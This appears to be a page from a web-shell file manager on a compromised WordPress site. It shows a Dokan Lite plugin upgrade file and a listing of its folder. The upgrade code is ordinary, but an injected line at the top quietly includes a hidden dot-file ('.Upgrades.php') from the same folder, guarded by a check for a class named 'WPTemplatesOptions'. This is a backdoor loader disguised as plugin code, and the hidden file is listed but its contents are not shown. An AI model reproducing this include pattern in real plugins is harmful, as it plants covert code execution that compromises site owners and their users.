PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
dokan-lite
/
includes
/
Upgrade
/
Upgrades
<?php namespace WeDevs\Dokan\Upgrade\Upgrades; use WeDevs\Dokan\Abstracts\DokanUpgrader; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class V_2_4_11 extends DokanUpgrader { /** * Upgrade capabilities for sellers * * @since 2.4.11 * * @return void */ public static function upgrade_seller_capability() { global $wp_roles; $wp_roles->add_cap( 'seller', 'edit_shop_orders' ); } /** * Add new table for refund request * * @since 2.4.11 * * @return void */ public static function create_refund_table() { global $wpdb; include_once ABSPATH . 'wp-admin/includes/upgrade.php'; $sql = "CREATE TABLE IF NOT EXISTS `{$wpdb->prefix}dokan_refund` ( `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `order_id` bigint(20) unsigned NOT NULL, `seller_id` bigint(20) NOT NULL, `refund_amount` float(11) NOT NULL, `refund_reason` text NULL, `item_qtys` varchar(50) NULL, `item_totals` varchar(50) NULL, `item_tax_totals` varchar(50) NULL, `restock_items` varchar(10) NULL, `date` timestamp NOT NULL, `status` int(1) NOT NULL, `method` varchar(30) NOT NULL, PRIMARY KEY (id) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;"; dbDelta( $sql ); } }
[+]
..
[-] V_2_4_12.php
[edit]
[-] V_2_8_3.php
[edit]
[-] V_2_9_4.php
[edit]
[-] V_2_9_13.php
[edit]
[-] V_2_3.php
[edit]
[-] V_1_2.php
[edit]
[+]
BackgroundProcesses
[-] V_2_7_3.php
[edit]
[-] V_2_8_6.php
[edit]
[-] V_2_9_19.php
[edit]
[-] V_2_6_9.php
[edit]
[-] .Upgrades.php
[edit]
[-] V_2_7_6.php
[edit]
[-] V_2_5_7.php
[edit]
[-] V_2_9_16.php
[edit]
[-] V_2_1.php
[edit]
[-] V_2_4_11.php
[edit]
[-] V_2_9_23.php
[edit]
[-] V_2_8_0.php
[edit]
[-] V_3_0_4.php
[edit]